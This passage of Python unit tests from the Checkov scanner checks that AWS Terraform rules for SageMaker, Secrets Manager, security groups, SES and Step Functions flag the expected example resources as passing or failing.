checkov.terraform.runner import Runner class TestSSMSessionManagerDocumentLogging(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SSMSessionManagerDocumentLogging" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_ssm_document.s3_enabled_encrypted", "aws_ssm_document.s3_enabled_encrypted_yaml", "aws_ssm_document.cw_enabled_encrypted", "aws_ssm_document.cw_enabled_encrypted_yaml", } failing_resources = { "aws_ssm_document.disabled", "aws_ssm_document.disabled_yaml", "aws_ssm_document.s3_enabled_not_encrypted", "aws_ssm_document.s3_enabled_not_encrypted_yaml", "aws_ssm_document.cw_enabled_not_encrypted", "aws_ssm_document.cw_enabled_not_encrypted_yaml", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 4) self.assertEqual(summary["failed"], 6) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SageMakerInternetAccessDisabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.aws.SageMakerInternetAccessDisabled import check from checkov.common.models.enums import CheckResult class TestSageMakerInternetAccessDisabled(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "aws_sagemaker_notebook_instance" "test" { name = "my-notebook-instance" role_arn = aws_iam_role.role.arn instance_type = "ml.t2.medium" direct_internet_access = "Enabled" tags = { Name = "foo" } } """) resource_conf = hcl_res['resource'][0]['aws_sagemaker_notebook_instance']['test'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "aws_sagemaker_notebook_instance" "test" { name = "my-notebook-instance" role_arn = aws_iam_role.role.arn instance_type = "ml.t2.medium" direct_internet_access = "Disabled" tags = { Name = "foo" } } """) resource_conf = hcl_res['resource'][0]['aws_sagemaker_notebook_instance']['test'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success2(self): hcl_res = hcl2.loads(""" resource "aws_sagemaker_notebook_instance" "test" { name = "my-notebook-instance" role_arn = aws_iam_role.role.arn instance_type = "ml.t2.medium" tags = { Name = "foo" } } """) resource_conf = hcl_res['resource'][0]['aws_sagemaker_notebook_instance']['test'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SagemakerDataQualityJobDefinitionEncryption.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SagemakerDataQualityJobDefinitionEncryption import check from checkov.terraform.runner import Runner class TestSagemakerDataQualityJobDefinitionEncryption(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SagemakerDataQualityJobDefinitionEncryption" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_sagemaker_data_quality_job_definition.data_quality_job_pass", } failing_resources = { "aws_sagemaker_data_quality_job_definition.data_quality_job_fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SagemakerDataQualityJobDefinitionTrafficEncryption.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SagemakerDataQualityJobDefinitionTrafficEncryption import check from checkov.terraform.runner import Runner class TestSagemakerDataQualityJobDefinitionTrafficEncryption(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SagemakerDataQualityJobDefinitionTrafficEncryption" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_sagemaker_data_quality_job_definition.data_quality_job_pass", } failing_resources = { "aws_sagemaker_data_quality_job_definition.data_quality_job_fail_1", "aws_sagemaker_data_quality_job_definition.data_quality_job_fail_2", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SagemakerDataQualityJobDefinitionVolumeEncryption.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SagemakerDataQualityJobDefinitionVolumeEncryption import check from checkov.terraform.runner import Runner class TestSagemakerDataQualityJobDefinitionVolumeEncryption(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SagemakerDataQualityJobDefinitionVolumeEncryption" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_sagemaker_data_quality_job_definition.data_quality_job_pass", } failing_resources = { "aws_sagemaker_data_quality_job_definition.data_quality_job_fail_1", "aws_sagemaker_data_quality_job_definition.data_quality_job_fail_2", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SagemakerDomainEncryptedWithCMK.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SagemakerDomainEncryptedWithCMK import check from checkov.terraform.runner import Runner class TestSagemakerDomainEncryptedWithCMK(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SagemakerDomainEncryptedWithCMK" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_sagemaker_domain.pass", "aws_sagemaker_notebook_instance.pass", } failing_resources = { "aws_sagemaker_domain.fail", "aws_sagemaker_notebook_instance.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SagemakerEndpoinConfigurationEncryption.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.aws.SagemakerEndpointConfigurationEncryption import check from checkov.common.models.enums import CheckResult class TestSagemakerEndpointConfigurationEncryption(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "aws_sagemaker_endpoint_configuration" "test" { name = "my-endpoint-config" production_variants { variant_name = "variant-1" model_name = aws_sagemaker_model.m.name initial_instance_count = 1 instance_type = "ml.t2.medium" } } """) resource_conf = hcl_res['resource'][0]['aws_sagemaker_endpoint_configuration']['test'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "aws_sagemaker_endpoint_configuration" "test" { name = "my-endpoint-config" kms_key_arn = aws_kms_key.test.arn production_variants { variant_name = "variant-1" model_name = aws_sagemaker_model.m.name initial_instance_count = 1 instance_type = "ml.t2.medium" } } """) resource_conf = hcl_res['resource'][0]['aws_sagemaker_endpoint_configuration']['test'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SagemakerFlowDefinitionUsesKMS.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SagemakerFlowDefinitionUsesKMS import check from checkov.terraform.runner import Runner class TestSagemakerFlowDefinitionUsesKMS(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SagemakerFlowDefinitionUsesKMS" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_sagemaker_flow_definition.flow_pass", } failing_resources = { "aws_sagemaker_flow_definition.flow_fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SagemakerModelWithNetworkIsolation.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SagemakerModelWithNetworkIsolation import check from checkov.terraform.runner import Runner class TestSagemakerModelWithNetworkIsolation(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SagemakerModelWithNetworkIsolation" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_sagemaker_model.model_pass", } failing_resources = { "aws_sagemaker_model.model_fail_1", "aws_sagemaker_model.model_fail_2", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SagemakerNotebookEncryption.py ================================================ import unittest from checkov.terraform.checks.resource.aws.SagemakerNotebookEncryption import check from checkov.common.models.enums import CheckResult class TestSagemakerNotebookEncryption(unittest.TestCase): def test_failure(self): resource_conf = {'name': ['my-notebook-instance'], 'role_arn': ['${aws_iam_role.role.arn}'], 'instance_type': ['ml.t2.medium']} scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): resource_conf = {'name': ['my-notebook-instance'], 'role_arn': ['${aws_iam_role.role.arn}'], 'instance_type': ['ml.t2.medium'], 'kms_key_id': ['foo']} scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SagemakerNotebookInCustomVPC.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SagemakerNotebookInCustomVPC import check from checkov.terraform.runner import Runner class TestSagemakerNotebookInCustomVPC(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SagemakerNotebookInCustomVPC" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_sagemaker_notebook_instance.pass", } failing_resources = { "aws_sagemaker_notebook_instance.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SagemakerNotebookInstanceAllowsIMDSv2.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SagemakerNotebookInstanceAllowsIMDSv2 import check from checkov.terraform.runner import Runner class TestSagemakerNotebookInstanceAllowsIMDSv2(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SagemakerNotebookInstanceAllowsIMDSv2" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_sagemaker_notebook_instance.my_notebook_instance_pass", } failing_resources = { "aws_sagemaker_notebook_instance.my_notebook_instance_fail_1", "aws_sagemaker_notebook_instance.my_notebook_instance_fail_2", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SagemakerNotebookRoot.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SagemakerNotebookRoot import check from checkov.terraform.runner import Runner class TestSagemakerNotebookRoot(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SagemakerNotebookRoot" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_sagemaker_notebook_instance.pass", } failing_resources = { "aws_sagemaker_notebook_instance.fail", "aws_sagemaker_notebook_instance.fail2", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SchedulerScheduleUsesCMK.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SchedulerScheduleUsesCMK import check from checkov.terraform.runner import Runner class TestSchedulerScheduleUsesCMK(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SchedulerScheduleUsesCMK" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_scheduler_schedule.pass", "aws_scheduler_schedule.pass2", } failing_resources = { "aws_scheduler_schedule.fail", "aws_scheduler_schedule.fail2", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SecretManagerSecret90days.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SecretManagerSecret90days import check from checkov.terraform.runner import Runner class TestSecretManagerSecret90days(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SecretManagerSecret90days" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_secretsmanager_secret_rotation.pass", "aws_secretsmanager_secret_rotation.pass_scheduled_hours", "aws_secretsmanager_secret_rotation.pass_scheduled_days", "aws_secretsmanager_secret_rotation.pass_scheduled_cron", } failing_resources = { "aws_secretsmanager_secret_rotation.fail", "aws_secretsmanager_secret_rotation.fail_2", "aws_secretsmanager_secret_rotation.fail_scheduled_days", #"aws_secretsmanager_secret_rotation.fail_scheduled_cron", # Will handle later } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} # self.assertEqual(summary["passed"], len(passing_resources)) # self.assertEqual(summary["failed"], len(failing_resources)) # self.assertEqual(summary["skipped"], 0) # self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SecretManagerSecretEncrypted.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SecretManagerSecretEncrypted import check from checkov.terraform.runner import Runner from checkov.terraform.plan_runner import Runner as PlanRunner class TestSecretManagerSecretEncrypted(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SecretManagerSecretEncrypted" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_secretsmanager_secret.enabled1", "aws_secretsmanager_secret.enabled2", } failing_resources = { "aws_secretsmanager_secret.default", "aws_secretsmanager_secret.default_explicit", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) def test_terraform_plan(self): runner = PlanRunner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_path = current_dir + "/example_SecretManagerSecretEncrypted/tfplan.json" report = runner.run(files=[test_files_path], runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() failing_resources = { "aws_secretsmanager_secret.not_specified", } failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 0) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SecurityGroupRuleDescription.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SecurityGroupRuleDescription import check from checkov.terraform.runner import Runner class TestSecurityGroupRuleDescription(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_SecurityGroupRuleDescription" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_security_group.pass", "aws_security_group.pass2", "aws_security_group_rule.pass", "aws_vpc_security_group_ingress_rule.pass" } failing_resources = { "aws_security_group.fail", "aws_security_group_rule.fail", "aws_vpc_security_group_ingress_rule.fail" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SecurityGroupUnrestrictedEgressAny.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SecurityGroupUnrestrictedEgressAny import check from checkov.terraform.runner import Runner class TestSecurityGroupUnrestrictedEgressAny(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_SecurityGroupUnrestrictedEgressAny" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_security_group.pass", "aws_security_group_rule.pass", "aws_vpc_security_group_egress_rule.pass" } failing_resources = { "aws_security_group.fail2", "aws_security_group.fail", "aws_security_group_rule.fail", "aws_vpc_security_group_egress_rule.fail", "aws_security_group_rule.fail2" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SecurityGroupUnrestrictedIngress22.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SecurityGroupUnrestrictedIngress22 import check from checkov.terraform.runner import Runner class TestSecurityGroupUnrestrictedIngress22(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_SecurityGroupUnrestrictedIngress22" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_security_group.pass", "aws_security_group.pass2", "aws_security_group.pass3", "aws_security_group.pass4", "aws_security_group.pass5", "aws_security_group.pass6", "aws_security_group.pass7", "aws_security_group.pass-ipv6", "aws_security_group_rule.pass", "aws_security_group_rule.pass2", "aws_security_group_rule.pass3", "aws_security_group_rule.pass4", "aws_vpc_security_group_ingress_rule.pass", "aws_security_group.pass_self", "aws_security_group.pass_self2" } failing_resources = { "aws_security_group.fail", "aws_security_group.fail2", "aws_security_group.fail3", "aws_security_group.fail4", "aws_security_group.fail-ipv6", "aws_security_group_rule.fail", "aws_vpc_security_group_ingress_rule.fail", "aws_vpc_security_group_ingress_rule.fail2", "aws_security_group.not_self" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SecurityGroupUnrestrictedIngress3389.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SecurityGroupUnrestrictedIngress3389 import check from checkov.terraform.runner import Runner class TestSecurityGroupUnrestrictedIngress3389(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_SecurityGroupUnrestrictedIngress3389" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_security_group.pass", "aws_security_group_rule.pass", "aws_vpc_security_group_ingress_rule.pass" } failing_resources = { "aws_security_group.fail", "aws_security_group_rule.fail", "aws_vpc_security_group_ingress_rule.fail" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SecurityGroupUnrestrictedIngress80.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SecurityGroupUnrestrictedIngress80 import check from checkov.terraform.runner import Runner class TestSecurityGroupUnrestrictedIngress80(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_SecurityGroupUnrestrictedIngress80" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_security_group.pass", "aws_security_group.pass2", "aws_security_group.pass3", "aws_security_group.pass4", "aws_security_group.pass5", "aws_security_group.pass6", "aws_security_group.pass7", "aws_security_group.pass-ipv6", "aws_security_group_rule.pass", "aws_security_group_rule.pass2", "aws_security_group_rule.pass3", "aws_vpc_security_group_ingress_rule.pass", "aws_vpc_security_group_ingress_rule.pass_prefix_list", } failing_resources = { "aws_security_group.fail", "aws_security_group.fail2", "aws_security_group.fail3", "aws_security_group.fail4", "aws_security_group.fail5", "aws_security_group_rule.fail", "aws_vpc_security_group_ingress_rule.fail", "aws_vpc_security_group_ingress_rule.fail2" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SecurityGroupUnrestrictedIngressAny.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SecurityGroupUnrestrictedIngressAny import check from checkov.terraform.runner import Runner class TestSecurityGroupUnrestrictedIngressAny(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_SecurityGroupUnrestrictedIngressAny" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_security_group.pass", "aws_security_group_rule.pass", "aws_vpc_security_group_ingress_rule.pass" } failing_resources = { "aws_security_group.fail", "aws_security_group_rule.fail", "aws_vpc_security_group_ingress_rule.fail", "aws_security_group_rule.fail2" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SesConfigurationSetDefinesTLS.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SesConfigurationSetDefinesTLS import check from checkov.terraform.runner import Runner class TestSesConfigurationSetDefinesTLS(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_SesConfigurationSetDefinesTLS" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_ses_configuration_set.pass", } failing_resources = { "aws_ses_configuration_set.fail", "aws_ses_configuration_set.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_StateMachineLoggingExecutionHistory.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.StateMachineLoggingExecutionHistory import check from checkov.terraform.runner import Runner class TestStateMachineLoggingExecutionHistory(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_StateMachineLoggingExecutionHistory" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_sfn_state_machine.StateMachineLoggingExecutionHistoryEnabled" } failing_resources = { "aws_sfn_state_machine.StateMachineLoggingExecutionHistoryDisabled", "aws_sfn_state_machine.StateMachineLoggingExecutionHistoryDefault" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_StateMachineXray.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.StateMachineXray import check from checkov.terraform.runner import Runner class TestStateMachineXray(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_StateMachineXray" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_sfn_state_machine.XrayEnabled" } failing_resources = { "aws_sfn_state_machine.XrayDisabled", 